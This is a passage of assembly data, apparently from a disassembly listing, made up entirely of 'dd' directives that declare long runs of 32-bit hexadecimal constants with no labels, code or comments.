		dd 61DED0A2h, 0C4D9ADD7h, 3011D9EFh, 3BCA5DC6h,	0E34626C2h
		dd 3D31CF85h, 81D9C9DAh, 0ECFE48CEh, 0D9F3B32Dh, 4494A9DFh
		dd 90A32834h, 0F7CBF7D7h, 0F0A3CBB5h, 0B8921312h, 0C974F3Ah
		dd 1A63E8B9h, 0BDEAA4BFh, 7F9BC98Dh, 5645F74Ah,	6D85B368h
		dd 0F301CC29h, 0EF42C3D2h, 4FAA3FFDh, 6004F60Fh, 5F4ADFBDh
		dd 4EE77E16h, 0E2C6E775h, 0F00F3163h, 4DAF5D98h, 0D9EF8DFh
		dd 7FCC974Dh, 0DA7FCF0Fh, 97FE6F11h, 7D2CDFF7h,	3E1F97E3h
		dd 6FA092E7h, 7B5F360Eh, 0C8A77B87h, 5A20FC43h,	0C9A63E83h
		dd 0B332E574h, 0A2153573h, 3B75EBCh, 3B0F3B70h,	66C9DAF0h
		dd 0F2DE9C7h, 8BF06F64h, 675B63D0h, 969B9BDFh, 0E08136CBh
		dd 0F4C5D4ECh, 2417BD01h, 1E19B329h, 2C182939h,	0AFDA1F96h
		dd 0D55B926Ch, 0D5F2DB05h, 1A5726BFh, 0E7AE40D4h, 0D76B5A5Bh
		dd 2A561D94h, 0BB98282h, 539EF9B7h, 9193784h, 7E4167ECh
		dd 462ECC63h, 8B7B08E2h, 498D1C4Ah, 0B9D88B65h,	0C68C9972h
		dd 0FA6775F4h, 2A905114h, 0AD7EED3Dh, 0C753FD1h, 0AD8986B9h
		dd 649289C2h, 0B304EE66h, 0CCBF0A8Dh, 402CBF39h, 0E2C6C183h
		dd 0E12B0B5Ah, 3E4CD74Ah, 0C72A2AAAh, 0A04153AFh, 0D426684Ch
		dd 7E44DE26h, 0C599A30Ah, 673DEDF5h, 0E7F8A706h, 1DCFE564h
		dd 0E230EB54h, 738B1026h, 0A7642DB5h, 0AED071C5h, 209DEFE7h
		dd 7E17CB4Dh, 4D49CB8Ah, 8259D373h, 3EC7820h, 0F24914F5h
		dd 69F70113h, 6EE483F2h, 9680ACFDh, 0AFD1FEE0h,	7E354E7Fh
		dd 0ED850CD4h, 553630F1h, 0FB2721B5h, 0BC2CF33Ah, 0CC65CC80h
		dd 0F588C12Ah, 37139FAAh, 0A59C965h, 0E798A40Eh, 7060B1AEh
		dd 0DB357277h, 906B90CEh, 0B4DE771Dh, 0F492A160h, 0C7F6D9ECh
		dd 1ABAA31Eh, 6A9D686Ah, 0B4D83D54h, 61F6E20Eh,	0A5DECCA2h
		dd 65AA715Fh, 15F2D82Dh, 8861B2E2h, 0AC296600h,	1E1F33BAh
		dd 83EE0A93h, 0E1BD7171h, 734DFCBDh, 261FA98Eh,	0B8A28A78h
		dd 1AA43E55h, 0C1627013h, 91201179h, 4FA427Eh, 74F3E0CEh
		dd 0A75E0CE6h, 68320EB8h, 4947F761h, 2F22F0B4h,	7026281Dh
		dd 27CF7F57h, 2940BD11h, 0E8AB3B32h, 0B9E0E1CBh, 1DE3CF3Eh
		dd 1C62D08h, 33BE7F01h,	2A989190h, 0C1EFE65Bh, 9A4BA928h
		dd 5532988h, 0AA869802h, 543ECBFBh, 8280AD00h, 3235355h
		dd 0D5C9D3BCh, 0A9611CCEh, 461CDF25h, 3F48723h,	815F053Ch
		dd 7D8377FAh, 8AD3A61Ah, 9F3815CBh, 2A5C423Ah, 9B34B36Ch
		dd 572FEC00h, 3B2B4046h, 4826F455h, 0B46A76E7h,	10C18F05h
		dd 0A62805D7h, 38210D4Ch, 0AA95F9C7h, 233B8806h, 13148325h
		dd 83C2AE19h, 16BF5542h, 65CDD238h, 76E3D792h, 0A0AFCF2Dh
		dd 2CBF776Ah, 0D2BBAC9Ah, 3CABCBBCh, 0A0CE07FFh, 51907EA4h
		dd 5AC4E093h, 765A1EABh, 2CB98CE4h, 6D93DBAEh, 69CC3EB0h
		dd 2D7F38EFh, 26CA9BFEh, 7F7422F6h, 3F817B58h, 93010CFBh
		dd 0BF732B61h, 0A3170A24h, 0E5E0CED4h, 0C5738E10h, 2264A576h
		dd 0FC950E6Dh, 738C4360h, 0D316A411h, 0EA6D8779h, 0D9E71B98h
		dd 0AACBD1A7h, 0E7F1A4A5h, 5DF6B5A9h, 0DD4D8736h, 0FE5C5861h
		dd 0DDA271ACh, 0E4CE0868h, 0F5F36A42h, 66D79B7Eh, 1F0ADD5h
		dd 6EC1A14Fh, 139B9BB5h, 92424F7Ch, 0F34AAF14h,	0DB939648h
		dd 9D49188Ch, 0D3F8CA59h, 9C6D3592h, 7F06D184h,	4DD180D1h
		dd 0FE9FB4C1h, 169F5D95h, 2606AA82h, 9A1232D8h,	998B619Bh
		dd 6A094994h, 0A76C970Ch, 8FF1C922h, 907927CEh,	3EAC07EBh
		dd 323A83BEh, 8132BCFDh, 586C9596h, 958CD03h, 9B2FEC5Ah
		dd 70428FF3h, 2CC4BB35h, 598D4F9h, 8929519Dh, 24650D50h
		dd 0AC6DC531h, 0D7C09DAAh, 589CF9A9h, 2B12386Ah, 1C0508A6h
		dd 78848ADCh, 6E017947h, 1977261Fh, 86249833h, 7A7BBA4Dh
		dd 9491E0F1h, 1169E858h, 24D213C6h, 562A5B91h, 0EFB6EF68h
		dd 0DF8AB5A8h, 55396155h, 79E98DADh, 0CAEA644Ah, 63B6650Ch
		dd 0E305B191h, 0FDE9B940h, 0A2C7ED15h, 7A3CEE95h, 8287D124h
		dd 33AE3EF5h, 0E7D54F65h, 0B48D891h, 652EA684h,	0B0929251h
		dd 0BF546534h, 6932F5D6h, 0D5B96A2Eh, 0F1DFE2B3h, 616F7649h
		dd 89A9E908h, 5981A8ABh, 2D3B167Ah, 5D0823FFh, 183048E0h
		dd 9F2F0A17h, 1FD8A324h, 0F28EEA2Ah, 9AE4AE28h,	0AF64197Bh
		dd 0DA756911h, 61E21E69h, 0B3CCA9BDh, 80E7C85Ah, 0F81BA348h
		dd 93611357h, 0B76E60BFh, 0E07DD03Bh, 2A1E3D17h, 0C4B7C621h
		dd 7E9DDC81h, 0F3FBB5Ch, 0A4D620C9h, 9819AFA2h,	0E75ADEA8h
		dd 8567D40Fh, 4763AEC5h, 0E6A774A3h, 0A2EACE85h, 0AFEA42C1h
		dd 1C1EA91Ch, 0AB6B4272h, 0C037FF9Ch, 4DD127AEh, 51C54127h
		dd 0A66BBA79h, 76D18AD7h, 295CC676h, 7A93C096h,	49636FCCh
		dd 5739FA77h, 8D1EAF62h, 3A456D55h, 67DA9DA8h, 9479B661h
		dd 38F1AFE5h, 5F98AC6h,	0F5B37DD6h, 5C9E1050h, 6E2E09E6h
		dd 0F7E9F99Fh, 311F4E7Ch, 39DA9B63h, 0EF4494A5h, 1A14A07h
		dd 9F5A041Bh, 0AC40793Dh, 0F36E8343h, 6D4AC35Ah, 44FF53C9h
		dd 0A4BC8DB0h, 5060CA48h, 1961BA85h, 0A394044Fh, 2E6659D9h
		dd 97487E14h, 29590274h, 0C0315AB1h, 2BD32D04h,	0E58A2CBCh
		dd 1D46DD55h, 4D2F09B0h, 0C2E6A990h, 76C60BDCh,	176073C4h
		dd 0CB1FBB8Bh, 0D1B087C9h, 0BE44B84h, 3F14196Eh, 0BA6BDB51h
		dd 1D31B4C6h, 87E3197Bh, 0A1EEDE4Ch, 0B03AA9EAh, 68244511h
		dd 0C799E51Dh, 0DAF08FD3h, 66ECD92Eh, 5B61BCB7h, 275CADEFh
		dd 73D95A57h, 52AD0E80h, 57D36EE0h, 4D5C1E66h, 0F90B205Bh
		dd 4F96D61Bh, 0B9642896h, 0A1069D13h, 1F68ED53h, 1D2E25ECh
		dd 0F14A75C8h, 0AE3EE17h, 614899B8h, 71EEADB3h,	4FB61988h
		dd 46650A72h, 7A42B592h, 0F6B22C0Fh, 1FD91B08h,	650CD46Fh
		dd 4744CDD3h, 37AC87AFh, 0F7419EE4h, 6FFA6BCFh,	0FEAC54EFh
		dd 0ED3C41B2h, 0B00E0748h, 2E98FB22h, 67536C2Ch, 0EE63A6DAh
		dd 7D185FF4h, 9DE82568h, 463279A3h, 537A8A4h, 49017FB7h
		dd 0CBAD98E9h, 7382B6D5h, 0C7F44C9Dh, 0ED1E884Bh, 0E6DE0003h
		dd 0E56FED85h, 0A065111Eh, 0C038F549h, 0F9DCCF5h, 82D37FCh
		dd 0D33F0B13h, 0ECACF941h, 635D8798h, 7C425C82h, 769FF9Ch
		dd 0F9F3E180h, 6D66B8ECh, 9E282063h, 15DC32D4h,	8B46F534h
		dd 253D30B9h, 0B285784Bh, 8030C4AFh, 0CB21F67h,	0C763667Fh
		dd 9E8503F6h, 0C1887AD6h, 3A29A03h, 52A2EA89h, 0ED5B0C0Dh
		dd 2D32E5CCh, 5DA526Dh,	0C36106F2h, 0E0AD56E5h,	4AB78B61h
		dd 0F859AFB4h, 0FDF226D2h, 0D5393434h, 0BE607AC4h, 206A9A3Dh
		dd 0EF03FDB2h, 6668F529h, 4FEE7583h, 7B657B85h,	0A5261E0Ah
		dd 0DFEB3AC5h, 0CF5D4535h, 0F2CE3C7Ch, 0BF0252CFh, 0F0060B31h
		dd 96B402A3h, 175E55D2h, 0D2935E96h, 7F34573h, 92713A22h
		dd 15A8999Bh, 3F6E9D08h, 0CC6CE8B9h, 539EAF18h,	0A3937AC1h
		dd 7DF02EA5h, 1D30174Eh, 3E353CF5h, 990C0EA8h, 0D2F716ECh
		dd 5185AB37h, 935B360Ch, 0FD08576Ch, 70D2B7A6h,	0AAA775E7h
		dd 0DF37DA55h, 0AA49385Fh
		dd 2801CC68h, 0B72FCF42h, 0DCA350C3h, 9ECCCA28h, 67839C83h
		dd 0FA56A0ABh, 0C441411Ch, 8F976B71h, 1BDBFB45h, 521C7AD6h
		dd 70D7FB99h, 229E8942h, 0B48A5EDBh, 1EFFAFEAh,	0C5E46717h
		dd 0A86957E1h, 7380450Bh, 1EAE8772h, 0B6AEF5FDh, 0A04A5DEAh
		dd 0AFD72F94h, 8C75F5DEh, 0B027446Ch, 0C94F93D7h, 0B7BE303Bh
		dd 0FE6F5AD2h, 0C339A65Ch, 22D450A5h, 83334F89h, 5B4C7C95h
		dd 0C4E8C8B7h, 531B39F7h, 499E7971h, 29732075h,	0FAD6B457h
		dd 0A9A91EE7h, 779FA36Bh, 0C84E4B64h, 1E99332Bh, 1F372D10h
		dd 0F06A980Ah, 7BC5572Ah, 0C934DB23h, 0A11C215Eh, 9790925Fh
		dd 0B67C2335h, 0C62D9B3Ch, 0CC2142F3h, 4C71198Dh, 0F7EC3E9Dh
		dd 842B04A4h, 7A7C7C07h, 890AA4A4h, 993E9526h, 1AB31E76h
		dd 6B344CD8h, 89BE286Ah, 8145A20Ch, 0F9D9A674h,	0FE2E8C55h
		dd 2CE3A5A8h, 0EC3F44BDh, 9C8A47CBh, 573866FDh,	0A0B2A307h
		dd 5BBFAF78h, 0DEF1410Dh, 0D882AD9Dh, 493D6AD6h, 0C619D35Ah
		dd 0FC28ECCCh, 0F81F7BD2h, 11589057h, 0F24AF75Fh, 32342819h
		dd 5F382DE8h, 0DFD800ADh, 315C8CCFh, 0DDADAD07h, 8EA6509Ah
		dd 0DAFC800Eh, 0FC02F5D7h, 7A477879h, 5D34371h,	110F2A6h
		dd 52A17F7Fh, 16EDD2A3h, 54FEEECAh, 0F8F9763Ah,	0F65F06D2h
		dd 1EA0B0A5h, 7F72BE86h, 0B2CF1F82h, 6FB888C6h,	8ED16207h
		dd 0F287451Ah, 2466BC34h, 2D0B304Ch, 0D3A9B50h,	44024472h
		dd 60E30E7Bh, 591DDF74h, 531EE11Dh, 0D097014Ah,	0AD31D932h
		dd 62F53FFDh, 7A373092h, 0DFBAA3E5h, 0D6999D82h, 82B7621Dh
		dd 369CD9C9h, 272A37D6h, 46F56384h, 0D652EC86h,	0D50DFE56h
		dd 0C9637F02h, 0BAECBABh, 0C4F9C375h, 0E8D30903h, 115D0234h
		dd 0FE7451EFh, 0CA1D1582h, 7DA7CB5Eh, 0B1EFF692h, 28B549CAh
		dd 788FAA64h, 0D57BDD8Ch, 968CAE81h, 69BB34FCh,	19DDDA02h
		dd 0B4724BD4h, 632D793Eh, 8371E99Ah, 336FE2C3h,	5B23D6D4h
		dd 8F8CBA0Ah, 3D6421A7h, 62C888Ah, 926B4814h, 829F9C74h
		dd 4FB12FDh, 5F029BCh, 58413D57h, 0B3C572A3h, 309D29AFh
		dd 70967CC4h, 0EFCD1E53h, 231BD0ADh, 4CADB584h,	3668FEEDh
		dd 642CBC1h, 61467143h,	0F54A4E3Eh, 0FBF0A4FAh,	34CB52C7h
		dd 0B157FCD6h, 0A61B41ADh, 0CD4A014Ah, 0B891FCAh, 2877D6D5h
		dd 0D19F0688h, 120DA63Fh, 2F3BF4D4h, 8E0EF459h,	0AE0DFB41h
		dd 24317B41h, 2C9D676Ah, 0A63B3AD7h, 61D88066h,	0D7EDE2FAh
		dd 3C884BF9h, 0C556B3FAh, 0DD17B132h, 8A58C148h, 0C85E5C45h
		dd 2F83583Fh, 0B8DF9235h, 556ED3E8h, 88EC46AEh,	780F7018h
		dd 9B9C2076h, 19A0C4DDh, 1C3379FEh, 0DC3B9AF3h,	55D59B78h
		dd 73466A65h, 55774681h, 92E5EBA8h, 0E1BA2B00h,	0AFAD589h
		dd 941E7298h, 0F228960Ah, 0F264368Bh, 0E6496344h, 0D0BB1ED0h
		dd 51F5E3Ah, 8922B5D9h,	9B1DA103h, 8225151Fh, 1E85E55Fh
		dd 0FA06BDB1h, 0A9A616BFh, 0DDC52618h, 0FF38DA90h, 67EC822Ch
		dd 0BA3631E7h, 1F707619h, 784DB576h, 91CC12B8h,	967B7E3Bh
		dd 5539C90Fh, 0E27E5E7Bh, 17FBD9E8h, 42B8D5E3h,	8FE8C3CDh
		dd 1497DBAEh, 0FCE3C4EBh, 39BFA935h, 1FB627DFh,	480B63D2h
		dd 7BB467E0h, 14ADF2C1h, 4ED7A17Ah, 6F481EBCh, 613DB0EFh
		dd 4AD02589h, 0F8748479h, 4B83E198h, 0FDB701B1h, 1D163C1Eh
		dd 0E88095F6h, 10292C38h, 6522970Ah, 89F76D69h,	33296CE4h
		dd 0C7341F85h, 28D32E46h, 0A08CADE8h, 1C96A207h, 6DACC9F9h
		dd 0B10726EBh, 14B59F64h, 0C2944D6Dh, 0B3F63229h, 37DB5751h
		dd 0CC1CC92Bh, 70DB7947h, 0F1B8DB4Bh, 0CE1F69D4h, 0FC9EB55Eh
		dd 3AE6E373h, 0E5E6E3Eh, 10B694FEh, 0B7D3DEC0h,	3D57471Eh
		dd 48F57F69h, 26DEF8ECh, 78727DBBh, 874119EFh, 0A8DCB720h
		dd 0E11365A7h, 1DEC69B7h, 0EE5F3B6Bh, 728F1259h, 0C74FAA42h
		dd 0F9FCB10Dh, 6F47225Fh, 45413069h, 6018E72h, 0E68971B2h
		dd 0DF193D13h, 24BA220Eh, 4E9B788h, 1CA5A635h, 0B28527D4h
		dd 702D889h, 16E26541h,	9C489C25h, 7F881A60h, 0DC9A0BB0h
		dd 5DA880EAh, 0C8E2D9CFh, 0E77E3FD1h, 1750343Eh, 0E509E299h
		dd 0C68A13FDh, 3C1C45C3h, 60F386E5h, 719333D4h,	139F3693h
		dd 3AFE3B0h, 0CFFFFC0Ah, 0E6BB1C91h, 0EDD48BE0h, 0F1D3D8E5h
		dd 457992EDh, 0A245E006h, 15CEAEE8h, 4C341CC4h,	2EE39F63h
		dd 0D328472Bh, 81C4194Dh, 9E895CB4h, 0CEAC259Ch, 49F7E558h
		dd 63DEFA48h, 921B91F7h, 698C1663h, 0E8E9A47Fh,	0F50B4E5h
		dd 0F920D8C2h, 0A2CF25ADh, 0F5425FDAh, 1965A2D2h, 6233421Dh
		dd 0CFF155BCh, 7179DA10h, 0F355A9A5h, 565EDCFAh, 0EE3C7E50h
		dd 0C51BDA24h, 0E3FEDABAh, 6535033h, 20D16FB2h,	7AFC3716h
		dd 8E5F4BBCh, 8D6EF35Eh, 0A648C39Fh, 3FD618FEh,	5B5FDC1Fh
		dd 0D7295D00h, 6BB91A9Eh, 4BF70F26h, 0BAAF16EEh, 54AA30D4h
		dd 4DCC30BBh, 0B543C402h, 8BBE9D71h, 84DDE887h,	61C40C20h
		dd 0D9EAD09Ch, 9BCEA5DEh, 5FAA2A44h, 0FCED400Ah, 70B4C79Ah
		dd 0CF12786Ah, 0CCA94DA0h, 9BC8F4E5h, 0B2CEE675h, 5DD088A1h
		dd 99B1493Ah, 254D3203h, 17EEC69Dh, 0EC6390AEh,	95069EA5h
		dd 4B412915h, 2F65BAA0h, 0E06D8967h, 0CFD0065Fh, 0DFD76871h
		dd 8383233Fh, 0C3B9236Bh, 1D531478h, 8A2662A6h,	0EB132970h
		dd 41D97D2Ch, 22A8A814h, 55E00428h, 31B69207h, 0A8252C61h
		dd 7936C15Bh, 2FB3BB62h, 7708BB18h, 3FA8398Ah, 0E02663A4h
		dd 68FDE16Ch, 0F7FCACB6h, 61A83F70h, 650D9C0Fh,	0D59CC7D2h
		dd 5475514Dh, 0E1D5A9BDh, 73A8E25Bh, 7B2C343Ch,	18FE904h
		dd 0AB264CAAh, 880DD984h, 24CD4CFFh, 0A3AE84ADh, 0DE84C841h
		dd 0B544E1EFh, 0A4CD12E9h, 5D9AFAEh, 0DD5EFBF4h, 46B5F264h
		dd 0E2A2595Eh, 0C6B050BAh, 315E61Fh, 0BED18AC7h, 312B4381h
		dd 3F3C00C5h, 0F7FDA9BAh, 2774BB1Bh, 0B6074B3Fh, 1EAEE267h
		dd 89E46128h, 65480C44h, 0A52B2487h, 31E44571h,	1875C3C9h
		dd 26A59357h, 0A951D290h, 0BC77B5CFh, 542CE925h, 0A76B48E6h
		dd 0B9A172B3h, 9B33270Ah, 90BAA55Bh, 0BD5EEFB9h, 0AABA7682h
		dd 7EFF0893h, 0B74FA2DBh, 0D1B03085h, 2B070249h, 0F76D4722h
		dd 0F0D148F0h, 99C24604h, 5AC1C726h, 19074E0Eh,	72D7AC1Eh
		dd 225286C1h, 0A1E90691h, 0AF5AEE20h, 385688B8h, 7D173CEDh
		dd 57CE0E7Dh, 1DE2A42Fh, 0A48CDDF6h, 0DE888BAFh, 0BA3928h
		dd 59AF2372h, 0B892864Eh, 12D647DCh, 79E13C82h,	0E4AE88F8h
		dd 7094C424h, 0A6BB493Fh, 0D69252CFh, 43A7B797h, 94C313A0h
		dd 0DAAD3279h, 9101F77Eh, 0A39C7E47h, 39EFFE9h,	0B70F5DABh
		dd 3A2D51B3h, 1A7E2DC9h, 7B5155BBh, 230B3EFh, 0B4F939BAh
		dd 81502D90h, 0AE64655Ah, 19699D4Bh, 89AE8FB2h,	84E8F3B7h
		dd 2EF1625h, 0B34AB5DDh, 4777A8E3h, 0E990CD95h,	0D4E0519Ah
		dd 83EF1B86h, 5FCE64E3h, 0ECE3E8h, 5B9A7A1Dh, 6258076Bh
		dd 0B055A2E9h, 2166393Ah, 0ED225B4h, 0BD09DDCFh, 9B2D6659h
		dd 2CAC71C8h, 0A18CD44Eh, 3353941Dh, 4A09F763h,	53848185h
		dd 7990D5BCh, 0A1E6C02Ah, 91EE67A1h, 0AB08F32Dh, 5F2EB90Bh
		dd 0C5DCA4AEh, 82E11B95h, 0C4500311h, 42968268h, 0FF2F277Dh
		dd 16DF4D30h, 1FEFE213h, 43A82393h, 1CE5C6AFh, 0D86D0BDh
		dd 59B1BBADh, 2A670503h, 83862B0Ah, 0DBA29A48h,	0B5B98225h
		dd 651A5C2Ah, 342756C6h, 0B562EE79h, 5F59D5D3h,	0D3D5B492h
		dd 41666A54h, 26AB8F5Fh
		dd 1BF59026h, 0B301ED8Bh, 4D3085C9h, 10BCF306h,	4A5BF742h
		dd 0E248ACC4h, 8564477Eh, 19BC0619h, 7F500634h,	6BAB1340h
		dd 4BAE6074h, 8AF3A067h, 10233933h, 72DCCE3Ch, 0CD175BF6h
		dd 3F4F659Bh, 9559E9B8h, 0B6084D3Ch, 0B98F87C2h, 146F2CDEh
		dd 0B7E584B3h, 0CBB8BD0Fh, 296DB4F6h, 0B507B8D4h, 8343B297h
		dd 0FB008CCh, 0EE3902EFh, 0C97472Eh, 5BC579F0h,	0D6A07B37h
		dd 75AEF809h, 571C675Dh, 0FE09C6CDh, 7ED2FDDEh,	0AA21480Eh
		dd 6FBBE3D3h, 9CB90CBFh, 1D18DC81h, 0C4B507A5h,	0F80E1EE1h
		dd 984A4FFCh, 5A2DA913h, 5D07B891h, 37ED9C53h, 4654D62Eh
		dd 7A23E13Bh, 0D7813620h, 5DB9DCF8h, 4CE4960Fh,	875388A1h
		dd 130D0087h, 35CCC3A1h, 356801F3h, 8E1CE2ABh, 0FDA94B63h
		dd 3C7FCFDBh, 7370A5D5h, 0D0617BB7h, 0DB01039Eh, 581B48Bh
		dd 0CADE67FCh, 7795A7Ch, 0A9532D3Fh, 0C280181h,	952A4B39h
		dd 9EA66333h, 7C14E348h, 4D0AD7A1h, 78AE7DABh, 0E4338225h
		dd 9995F2A3h, 6FF32AC8h, 982D44A6h, 761B0047h, 55591A6Ch
		dd 6930E73Eh, 0B7C28341h, 7DDE667Ah, 4B8AA619h,	52EDE75Fh
		dd 0CC59D8E7h, 0B86B2B4Ah, 0F17CA19h, 6FF6A16h,	66E8750Eh
		dd 8FC7664h, 0FB6E2FCEh, 0C8C200D5h, 16C91C4Ah,	12F98B53h
		dd 4AABDFFh, 23539B1Bh,	0D96F1B9Fh, 3DDC761Fh, 98082E52h
		dd 689F9997h, 7C5907D1h, 0A87120C2h, 0A75ED1A6h, 4FC78885h
		dd 6B8E3FEh, 401BFEA5h,	69087C37h, 9F325D16h, 0C6B31F80h
		dd 0C9E81C14h, 720319Fh, 0AA67EBAEh, 0CC3B5B20h, 76304903h
		dd 88A764Eh, 0B4069416h, 0C6DDDF82h, 0CBBE7C87h, 0A2997798h
		dd 98A1179Ch, 65AF5F11h, 0A0D436A3h, 0A307F045h, 44CC7A5Ch
		dd 81AFD031h, 9CC16ADEh, 5B44FCD5h, 0E0D65137h,	5CFF7285h
		dd 272B01A9h, 517C6041h, 0F5220525h, 453985C2h,	1723BB5Eh
		dd 6865853Eh, 56782FECh, 5A8EB364h, 0F09B6083h,	14DCDD71h
		dd 0C13173CAh, 708264E9h, 0A6B19682h, 74B20C45h, 0DAA64C82h
		dd 0F8ADEED9h, 71DE91FAh, 0E6A6DBB6h, 14E25606h, 0A79720CCh
		dd 17A25FBDh, 0C14DE248h, 0C75B13AAh, 0C39806B2h, 1B95A15Eh
		dd 41086F06h, 0E5C81D77h, 763B6980h, 4C417142h,	1393B504h
		dd 0D5E3A9A3h, 0F1892614h, 3D3ADA35h, 9AF0416Bh, 0BB7FD090h
		dd 5C714140h, 0AE3E9A54h, 0EDC812AFh, 5CC43859h, 0D33A4411h
		dd 0A2D507A3h, 0CBE49551h, 0A96A698Bh, 0FCE348C8h, 0B57EFC74h
		dd 5E362FA9h, 0BDB6210Bh, 9DA154AEh, 0B5D37D43h, 0AA0B424Bh
		dd 2FAFDFA1h, 0CA7BBC7Fh, 0E5B2925Fh, 38B94D8Dh, 31CF06BFh
		dd 75FE77FEh, 11472C6Eh, 287A1358h, 0E48C1734h,	9A54535h
		dd 5B411E1Fh, 0AEECED3Eh, 0EE9EC688h, 6FCD33BFh, 9641E6FBh
		dd 0AFD46E09h, 0F4859F71h, 824F03F7h, 57C82083h, 547E0D75h
		dd 62213F5Bh, 6E82157h,	0FE37700Dh, 0B89C5DA4h,	9F82034Fh
		dd 0F261A0ABh, 206A531Dh, 0AF2284B0h, 0CF65FE0Ch, 0A346310Ch
		dd 0F3E0E9D0h, 0BD191795h, 5433D89Dh, 3FB1CF2Bh, 6A2139A6h
		dd 65AEC612h, 1ED0F57Dh, 0F52F8FF8h, 3324CD07h,	8F5FA593h
		dd 77563ACEh, 0E417CEBDh, 59F04590h, 0A56FE4EAh, 683336E1h
		dd 436008F8h, 6B0AF2DEh, 2E26055h, 3BCB5533h, 64CD10F4h
		dd 0D3E600FCh, 7896AED8h, 0D747C704h, 6462C549h, 0EBF293E8h
		dd 3CC3708Eh, 0E032CAE2h, 6E8D1A55h, 2A0E76A5h,	91290CD5h
		dd 0B195CADEh, 1320C86Ah, 0C035DA3h, 6753E355h,	31BE44F9h
		dd 52711BA2h, 9EC1DB35h, 8095E4EAh, 0A86DE4D0h,	0CC0B0E5Eh
		dd 990CD0ECh, 5F8D236h,	0BCBCBF6Bh, 0A27885B7h,	8741BBBCh
		dd 0F68371BDh, 0C19416D4h, 0B13DE4EDh, 6D85660Fh, 0F4039C80h
		dd 0BBAEC841h, 0FE4FDE44h, 77249757h, 1F7CF3CDh, 0EBA17EDh
		dd 4B280721h, 91C443F7h, 0D7E88A30h, 169CADD6h,	0A2ECAFD8h
		dd 0D4E6D92h, 0B1BF4275h, 0A70F992Dh, 0F6D25512h, 16D95E8Ah
		dd 60771FA4h, 5BC460Bh,	472EFFC5h, 0E0A42F0h, 0AFD6C7B8h
		dd 2B3F8934h, 2DC0A2E4h, 0FD9B1829h, 782AF6Bh, 0AA8F1E1h
		dd 0E20E5806h, 0DB470C84h, 0D7864244h, 88DA9289h, 0E7632BB2h
		dd 0A262FFAEh, 0F115BCA8h, 6E44C1BCh, 0BB1CC853h, 50B3A9E4h
		dd 0CC808B96h, 66015284h, 28DDE499h, 3D1F93EDh,	0E231253Dh
		dd 4B644532h, 0CE315BFEh, 39DB2DA8h, 0E16B1C4Ch, 0BA63C969h
		dd 0D0737A15h, 85F00347h, 8FA4AAD3h, 6188CC65h,	3DD5ABACh
		dd 5FD4A72Ah, 0F83F2F8Eh, 0F7C8AAECh, 9A15224Bh, 9190A06Fh
		dd 13358989h, 54D98C61h, 0CC78941Ch, 0FF2603ADh, 25CE7AF1h
		dd 0E601C5D7h, 2D00B344h, 0AAE23566h, 0F79DC0Ah, 0A2F28D37h
		dd 0F5B845BBh, 0F4C98D77h, 56B3848Ah, 0E7ECB050h, 6E183D81h
		dd 0C8033928h, 805B6ACFh, 6EFA882Dh, 570E03E3h,	0C3B77324h
		dd 0EA88CF65h, 0AF9B5D1Fh, 7FE9C9B0h, 98688099h, 3ADD3EF1h
		dd 905E8F11h, 27E2CB84h, 39630AF9h, 9AA9CB32h, 324101Ch
		dd 0A96D04ECh, 0A92DB684h, 3487B455h, 0E083C714h, 3EA96D2Ah
		dd 2F02EBD1h, 32B35B9Ah, 1A78EE7Ch, 12B84230h, 0B38C60D9h
		dd 1B692C24h, 0F5538B8Fh, 99C5C08Eh, 970B8197h,	17D8D2D3h
		dd 299CA9A5h, 56962062h, 6FAB5A01h, 908D2F62h, 0AF52F48Eh
		dd 7F09E333h, 0C1FBF63Ah, 9F8A1126h, 8A69AF4Bh,	9BB84F47h
		dd 0BC30C701h, 0F0DD812h, 3D9C2DC4h, 94D86383h,	40E785D9h
		dd 0DC5F94A9h, 26D09444h, 0CF36D8B6h, 0D871FB2Dh, 0CF57FEB4h
		dd 908C585Ah, 0E11BDE14h, 3DE586D3h, 6FF3AAEEh,	1BF191E6h
		dd 9073E18Dh, 0BF5E7D46h, 0A48C20E8h, 54172267h, 768DB9FEh
		dd 7BDA847h, 0AA913C2h,	198628E4h, 4A8FCFC1h, 8E2D6A7Ah
		dd 0A687A9B1h, 5E03BC36h, 22182E42h, 0F1C9E6B5h, 5209CD1Bh
		dd 0B9C8053Fh, 6C01B0FCh, 37DCEF35h, 44B01BDDh,	8C30EB01h
		dd 0F2E77FCBh, 7A3DB999h, 0D4080747h, 9FA70CEBh, 0F19C5C65h
		dd 0E68D3C97h, 70BC9638h, 17F307AEh, 0F6CEDDE9h, 0FBF76BA6h
		dd 847801B0h, 0BAE3E58Ch, 28113ECh, 47894F2Dh, 0F373FDBAh
		dd 0FC95D601h, 0D071EA9h, 48A4E822h, 339C93BEh,	11541DB5h
		dd 0E1294647h, 0BB1A37CAh, 0EB4E8F3Ch, 533CF7DBh, 5190B7FFh
		dd 0C8AB8D52h, 402E5024h, 1A55F98Eh, 0C9CF665Ah, 0B91E8EE4h
		dd 0A6AD4B1Eh, 0AA926309h, 0E9DE9156h, 1278B29Ch, 0C6EE7B92h
		dd 0FDDDB8EDh, 32D4BAE1h, 4F3CD03Fh, 35E7473Eh,	4ADC85C0h
		dd 6143E74Fh, 36177477h, 6A793F64h, 0EEE1362Bh,	0CF045C0Eh
		dd 9B12CB9Dh, 83F39C7Dh, 690E87E1h, 769584B9h, 577389D8h
		dd 0BB264F10h, 7688D898h, 785965A3h, 65A39A22h,	415CCA17h
		dd 590C2BD6h, 0F0FB453Eh, 0A4BEBA9Ch, 4415B4DEh, 9E5CF8E6h
		dd 0F0022631h, 2EA8DA2Bh, 77614C61h, 0A656B30Dh, 65E90F07h
		dd 7934B5DEh, 0D0C156F7h, 855A9317h, 0A8C6FFAEh, 4575BC26h
		dd 40CB0A31h, 2008BB95h, 0B9D00EB6h, 2E999FECh,	867C6A6Fh
		dd 1AC3CEC4h, 0B347A63Dh, 63ECBBB8h, 90C24626h,	0B1EBFA07h
		dd 0EC1ED5ACh, 2271446h, 75989B7Ah, 123BE76Ch, 0A3076377h
		dd 0CF1A379Dh, 51A2A17h, 4F7DD683h, 4248E71Fh, 3086EE1Dh
		dd 70B3DB85h, 3F170D95h, 1286944Bh, 6E4D015Eh, 6AF4B31Eh
		dd 1686758Fh, 0D5052B1Ah, 0D67AE36Ah, 86E85B6h,	6A8F6E0Bh
		dd 0D3D8A09h, 3065C604h, 6D408CEDh, 1CF690F7h, 0A997E89Ch
		dd 96C226Bh, 0BA122005h, 0A35DC91Dh, 0BCDD7E5Bh, 0B1EB7EE8h
		dd 8E14058Eh, 0E0DBDACBh
